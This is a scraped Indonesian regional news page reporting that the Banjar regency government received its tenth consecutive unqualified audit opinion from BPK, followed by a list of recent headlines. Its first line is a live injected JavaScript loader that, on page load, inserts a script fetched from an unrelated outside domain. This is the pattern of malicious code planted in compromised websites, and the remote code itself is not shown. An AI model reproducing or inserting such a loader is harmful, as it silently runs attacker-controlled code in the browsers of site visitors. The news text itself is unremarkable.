(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemkab Banjar Raih 10 Kali Berturut-turut Opini WTP dari BPK RI


KANALKALIMANTAN.COM, BANJARBARU – Opini Wajar Tanpa Pengecualian (WTP)  dari Badan Pemeriksa Keuangan (BPK) RI Perwakilan Kalsel terhadap Laporan Hasil Pemeriksaan (LHP) LKPD 2022 Pemerintah Kabupaten Banjar merupakan Opini WTP kali kesepuluh yang diraih Pemkab Banjar.

Wakil Bupati Banjar Habib Idrus Al Habsyie menerima langsung LHP tersebut dari Kepala BPK RI Perwakilan Kalsel, Rahmadi, di Kantor BPK RI setempat, Banjarbaru, Selasa (9/5/2023) siang.

Selain Pemkab Banjar, 8 daerah lainnya yang juga raih opini serupa, yakni Pemko Banjarmasin, Pemkab Tapin, Hulu Sungai Tengah, Hulu Sungai Utara, Balangan, Tanahlaut, Tanahbumbu dan Kotabaru.

“Hasil pemeriksaan yang telah kami lakukan mengacu sejumlah kriteria disimpulkan opini atas LKPD 2022 pada 9 pemkab dan pemko meraih predikat WTP,” ujar Kepala BPK RI Perwakilan Kalsel, Rahmadi.

Baca juga: Delapan Tahun Anggaran Pemko Banjarbaru Diberi WTP oleh BPK RI

Menurut dia, LHP diserahkan kepada pimpinan DPRD dan kepala daerah dua laporan, yakni LHP atas Laporan Keuangan 2022 dan LHP atas SPI dan kepatuhan terhadap aturan perundang-undangan.

Disebutkan, pemeriksaan LKPD 2022 sesuai Undang Undang Nomor 15 tahun 2004 dan UU Nomor 15 tahun 2016 dengan memperhatikan kriteria kesesuaian mengacu Standar Akuntansi Pemerintahan (SAP).

Kemudian, kriteria kecukupan pengungkapan, efektifitas sistem pengendalian intern dan kepatuhan pada aturan perundang-undangan sebelum hasil akhirnya disimpulkan opini diberikan dengan predikat WTP.

“Berdasar hasil pemeriksaan sesuai kriteria itu, kami simpulkan LKPD 9 kabupaten kota telah disajikan secara wajar, sesuai SAP dan prinsip akuntansi sehingga diberikan status WTP,” ucap dia.

Dia mengatakan, meski meraih opini WTP, tetapi BPK Kalsel masih menemukan beberapa permasalahan harus jadi perhatian namun tidak memengaruhi keseluruhan kewajaran penyajian laporan keuangan 9 daerah dimaksud. Rekomendasi dilakukan 60 hari setelah LHP diterima.

Baca juga: Pemkab Kapuas Apresiasi Program Penukaran Uang Baru dari BI

Wabup Banjar, Habib Idrus Al Habsyie mengucap syukur karena Pemkab Banjar telah berhasil meraih opini WTP sepuluh kali berturut-turut.

“Alhamdulillah, ini berkat dukungan semua pihak dan kami siap menindaklanjuti rekomendasi yang disampaikan,” ujar Habib Idrus. (kanalkalimantan.com/diskominfobanjar/kk)

Reporter: kk
Editor: Dhani


Al Ghifari

Recent Posts

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

1 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

7 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

8 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

10 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

10 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

23 jam ago

This website uses cookies.